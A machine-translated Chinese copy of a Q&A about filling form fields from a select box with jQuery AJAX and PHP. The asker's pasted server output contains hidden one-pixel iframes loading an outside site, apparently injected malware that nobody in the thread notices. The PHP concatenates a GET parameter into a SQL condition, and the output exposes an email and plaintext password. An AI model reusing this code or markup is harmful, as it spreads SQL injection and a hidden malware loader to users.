[英]fill 3 text box from select box ajax way
嗨,我是php和ajax的新手,我有一个选择框,当用户选择信息时,它必须填写四个文本框。有人建议使用jQuery作为我的第一个代码
无论如何我的PHP代码是
if(isset($_GET['username']))
{
$username=$_GET['username'];
$usr1=new USER;
$where="username='$username'";
$a=$usr1->show($where);
echo json_encode($a);
}
我的表格在这里
<form id="f1">
<select id="s1">
<option selected></option>
<option value="admin" >admin</option>
<option value="pooria.hojjati">pooria.hojjati</option>
</select><br>
<input type="text" id="name" value=""><br>
<input type="text" id="family" value=""><br>
<input type="text" id="email" value=""><br>
<input type="text" id="pri" value=""><br>
<!--<input type="button" value="press me" id="btn">-->
</form>
<div id="d">
un replaced
</div>
<script language="javascript">
$("#f1 select:#s1").change(function(){
var a=$("#f1 select:#s1").val();
$.ajax({
url:'ajax.php',
data:{username:a},
type:'get',
datatype:'json',
success:function(res){
var b=JSON.parse(res);
$("#f1 input:#name").val(b.name);
$("#f1 input:#family").val(b.family);
$("#f1 input:#email").val(b.email);
$("#f1 input:#pri").val(b.privilege);}
})
});
</script>
我有一个错误:SyntaxError:JSON.parse:意外的字符
当我提醒响应时,我得到以下信息:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Untitled Document</title>
</head>
<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>user</title>
</head>
<body>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>DB</title>
</head>
<body>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
{"id":"1","name":"\u067e\u0648\u0631\u06cc\u0627","family":"\u062d\u062c\u062a\u06cc \u0628\u0633\u0637\u0627\u0645\u06cc","username":"pooria.hojjati","password":"12044525","email":"pooria.hojjati@gmail.com","privilege":"1"}</body>
</html>
在jQuery中,选择器$("#f1 select:#s1")
语法不正确。 该选择器应该是$("#f1 select#s1")
。 其他选择器也是如此。 :foo
选择器是jQuery的特殊选择器,例如:checked
, :contains()
等。
您是否在使用php代码创建HTML布局的框架? 尝试绕过它。 调用echo json_encode(...)
,调用exit;
。 到目前为止,这将立即停止执行并输出缓冲区。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.